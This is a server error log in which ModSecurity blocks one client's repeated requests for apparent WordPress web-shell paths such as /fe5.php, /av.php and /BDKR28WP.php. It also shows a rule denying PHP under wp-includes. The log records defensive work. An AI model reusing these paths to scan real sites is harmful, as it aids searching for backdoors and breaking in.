[Sat Apr 25 22:16:57.800765 2026] [:error] [pid 59896:tid 59910] [client 20.215.66.169:43615] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aezM2bLLzhtkd-OXUgAImgAAAEo"]
[Sat Apr 25 22:16:58.622148 2026] [:error] [pid 59897:tid 59929] [client 20.215.66.169:53030] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aezM2vBrrkdzpEbmK4eRggAAAII"]
[Sat Apr 25 22:16:59.388075 2026] [:error] [pid 3212:tid 3220] [client 20.215.66.169:42166] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aezM2_g-28TY8_YLtUdPKwAAAQY"]
[Sat Apr 25 22:17:00.490662 2026] [:error] [pid 3212:tid 3218] [client 20.215.66.169:52934] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aezM3Pg-28TY8_YLtUdPMAAAAQQ"]
[Sat Apr 25 22:17:02.441535 2026] [:error] [pid 59897:tid 59941] [client 20.215.66.169:43637] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aezM3vBrrkdzpEbmK4eRiAAAAI4"]
[Sat Apr 25 22:17:03.344227 2026] [:error] [pid 59897:tid 59932] [client 20.215.66.169:42121] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aezM3_BrrkdzpEbmK4eRjQAAAIU"]
[Sat Apr 25 22:17:04.372962 2026] [:error] [pid 59985:tid 59997] [client 20.215.66.169:52881] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aezM4AF_zDvEhKvyTH7BBAAAAAo"]
[Sat Apr 25 22:17:05.566730 2026] [:error] [pid 3212:tid 3227] [client 20.215.66.169:64864] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aezM4fg-28TY8_YLtUdPMQAAAQ0"]
[Sat Apr 25 22:17:06.593209 2026] [:error] [pid 59898:tid 59968] [client 20.215.66.169:31011] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aezM4h-4vImxb0kbdze1ugAAAM4"]
[Sat Apr 25 22:17:07.446161 2026] [:error] [pid 59898:tid 59976] [client 20.215.66.169:30763] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aezM4x-4vImxb0kbdze1vQAAANY"]
[Sat Apr 25 22:17:17.601799 2026] [:error] [pid 3212:tid 3228] [client 20.215.66.169:43633] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aezM7fg-28TY8_YLtUdPjAAAAQ4"]
[Sat Apr 25 22:17:19.381870 2026] [:error] [pid 59896:tid 59922] [client 20.215.66.169:52964] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aezM77LLzhtkd-OXUgAIqAAAAFY"]
[Sat Apr 25 22:17:22.105747 2026] [:error] [pid 3212:tid 3234] [client 20.215.66.169:64880] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aezM8vg-28TY8_YLtUdPlQAAARQ"]
[Sat Apr 25 22:17:23.602812 2026] [:error] [pid 59985:tid 60000] [client 20.215.66.169:64887] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aezM8wF_zDvEhKvyTH7BGwAAAA0"]
[Sat Apr 25 22:17:24.765746 2026] [:error] [pid 3212:tid 3214] [client 20.215.66.169:52925] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aezM9Pg-28TY8_YLtUdPpgAAAQA"]
[Sat Apr 25 22:17:25.626883 2026] [:error] [pid 3212:tid 3221] [client 20.215.66.169:64838] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aezM9fg-28TY8_YLtUdPrAAAAQc"]
[Sat Apr 25 22:17:26.334275 2026] [:error] [pid 3212:tid 3235] [client 20.215.66.169:43603] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aezM9vg-28TY8_YLtUdPrwAAARU"]
[Sat Apr 25 22:17:27.062520 2026] [:error] [pid 3212:tid 3218] [client 20.215.66.169:42112] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aezM9_g-28TY8_YLtUdPsQAAAQQ"]
[Sat Apr 25 22:17:27.883848 2026] [:error] [pid 59896:tid 59918] [client 20.215.66.169:42171] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "aezM97LLzhtkd-OXUgAIrgAAAFI"]
[Sat Apr 25 22:17:28.809834 2026] [:error] [pid 59897:tid 59942] [client 20.215.66.169:55532] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "aezM-PBrrkdzpEbmK4eRoQAAAI8"]
[Sat Apr 25 22:17:29.774581 2026] [:error] [pid 59897:tid 59939] [client 20.215.66.169:29952] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "aezM-fBrrkdzpEbmK4eRogAAAIw"]
[Sat Apr 25 22:17:30.647720 2026] [:error] [pid 59985:tid 60008] [client 20.215.66.169:31023] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "aezM-gF_zDvEhKvyTH7BHwAAABU"]
[Sat Apr 25 22:17:31.475483 2026] [:error] [pid 59896:tid 59905] [client 20.215.66.169:52946] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aezM-7LLzhtkd-OXUgAIswAAAEU"]
[Sat Apr 25 22:17:32.221750 2026] [:error] [pid 59896:tid 59922] [client 20.215.66.169:43595] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aezM_LLLzhtkd-OXUgAItgAAAFY"]
[Sat Apr 25 22:17:33.519997 2026] [:error] [pid 59898:tid 59965] [client 20.215.66.169:44904] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aezM_R-4vImxb0kbdze13QAAAMs"]
[Sat Apr 25 22:17:36.810804 2026] [:error] [pid 3212:tid 3230] [client 20.215.66.169:28647] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aezNAPg-28TY8_YLtUdPwwAAARA"]
[Sat Apr 25 22:17:39.192101 2026] [:error] [pid 3212:tid 3237] [client 20.215.66.169:64842] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aezNA_g-28TY8_YLtUdP0QAAARc"]
[Sat Apr 25 22:17:40.875233 2026] [:error] [pid 3212:tid 3238] [client 20.215.66.169:52965] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aezNBPg-28TY8_YLtUdP3wAAARg"]
[Sat Apr 25 22:17:41.605065 2026] [:error] [pid 3212:tid 3230] [client 20.215.66.169:31004] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aezNBfg-28TY8_YLtUdP4wAAARA"]
[Sat Apr 25 22:17:42.872960 2026] [:error] [pid 59985:tid 59997] [client 20.215.66.169:52966] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aezNBgF_zDvEhKvyTH7BLAAAAAo"]
[Sat Apr 25 22:17:43.954971 2026] [:error] [pid 59985:tid 60010] [client 20.215.66.169:29995] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aezNBwF_zDvEhKvyTH7BMAAAABc"]
[Sat Apr 25 22:17:44.848932 2026] [:error] [pid 3212:tid 3232] [client 20.215.66.169:29993] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aezNCPg-28TY8_YLtUdP7gAAARI"]
[Sat Apr 25 22:17:46.045939 2026] [:error] [pid 3212:tid 3221] [client 20.215.66.169:55496] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aezNCvg-28TY8_YLtUdP8gAAAQc"]
[Sat Apr 25 22:17:47.005866 2026] [:error] [pid 3212:tid 3232] [client 20.215.66.169:43640] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aezNC_g-28TY8_YLtUdP9gAAARI"]
[Sat Apr 25 22:17:48.012693 2026] [:error] [pid 59985:tid 59988] [client 20.215.66.169:31032] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aezNDAF_zDvEhKvyTH7BNgAAAAE"]
[Sat Apr 25 22:17:49.899747 2026] [:error] [pid 59896:tid 59919] [client 20.215.66.169:53049] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aezNDbLLzhtkd-OXUgAIuwAAAFM"]
[Sat Apr 25 22:17:55.870536 2026] [:error] [pid 59897:tid 59938] [client 20.215.66.169:29955] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aezNE_BrrkdzpEbmK4eRtAAAAIs"]
[Sat Apr 25 22:18:03.821854 2026] [:error] [pid 59896:tid 59916] [client 20.215.66.169:52983] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aezNG7LLzhtkd-OXUgAI3AAAAFA"]
[Sat Apr 25 22:18:04.854063 2026] [:error] [pid 3212:tid 3218] [client 20.215.66.169:30775] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aezNHPg-28TY8_YLtUdQKAAAAQQ"]
[Sat Apr 25 22:18:05.858955 2026] [:error] [pid 3212:tid 3214] [client 20.215.66.169:28635] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aezNHfg-28TY8_YLtUdQMgAAAQA"]
[Sat Apr 25 22:18:07.434974 2026] [:error] [pid 59896:tid 59913] [client 20.215.66.169:42165] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aezNH7LLzhtkd-OXUgAI4QAAAE0"]
[Sat Apr 25 22:18:09.204031 2026] [:error] [pid 59896:tid 59911] [client 20.215.66.169:64844] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aezNIbLLzhtkd-OXUgAI5wAAAEs"]
[Sat Apr 25 22:18:10.302825 2026] [:error] [pid 59985:tid 60005] [client 20.215.66.169:26286] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aezNIgF_zDvEhKvyTH7BSwAAABI"]
[Sat Apr 25 22:18:11.399138 2026] [:error] [pid 59896:tid 59908] [client 20.215.66.169:41826] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aezNI7LLzhtkd-OXUgAI8wAAAEg"]
[Sat Apr 25 22:18:12.357939 2026] [:error] [pid 59896:tid 59903] [client 20.215.66.169:53046] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aezNJLLLzhtkd-OXUgAI9gAAAEM"]
[Sat Apr 25 22:18:13.075371 2026] [:error] [pid 59897:tid 59929] [client 20.215.66.169:27158] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aezNJfBrrkdzpEbmK4eRwQAAAII"]
[Sat Apr 25 22:18:13.805639 2026] [:error] [pid 59897:tid 59940] [client 20.215.66.169:52967] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aezNJfBrrkdzpEbmK4eRxQAAAI0"]
[Sat Apr 25 22:18:14.475270 2026] [:error] [pid 3212:tid 3217] [client 20.215.66.169:43629] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aezNJvg-28TY8_YLtUdQPQAAAQM"]
[Sat Apr 25 22:18:15.161865 2026] [:error] [pid 3212:tid 3219] [client 20.215.66.169:41835] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aezNJ_g-28TY8_YLtUdQPwAAAQU"]
[Sat Apr 25 22:18:15.947382 2026] [:error] [pid 3212:tid 3227] [client 20.215.66.169:53026] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aezNJ_g-28TY8_YLtUdQQgAAAQ0"]
[Sat Apr 25 22:18:16.567842 2026] [:error] [pid 3212:tid 3225] [client 20.215.66.169:30011] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aezNKPg-28TY8_YLtUdQSAAAAQs"]
[Sat Apr 25 22:18:19.479026 2026] [:error] [pid 3212:tid 3227] [client 20.215.66.169:52980] [client 20.215.66.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aezNK_g-28TY8_YLtUdQVAAAAQ0"]
[Sat Apr 25 22:18:26.084882 2026] [:error] [pid 59896:tid 59911] [client 20.215.66.169:52931] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aezNMrLLzhtkd-OXUgAJFgAAAEs"]
[Sat Apr 25 22:18:28.205052 2026] [:error] [pid 59896:tid 59907] [client 20.215.66.169:43642] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aezNNLLLzhtkd-OXUgAJHQAAAEc"]
[Sat Apr 25 22:18:29.279973 2026] [:error] [pid 3212:tid 3221] [client 20.215.66.169:53029] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aezNNfg-28TY8_YLtUdQeQAAAQc"]
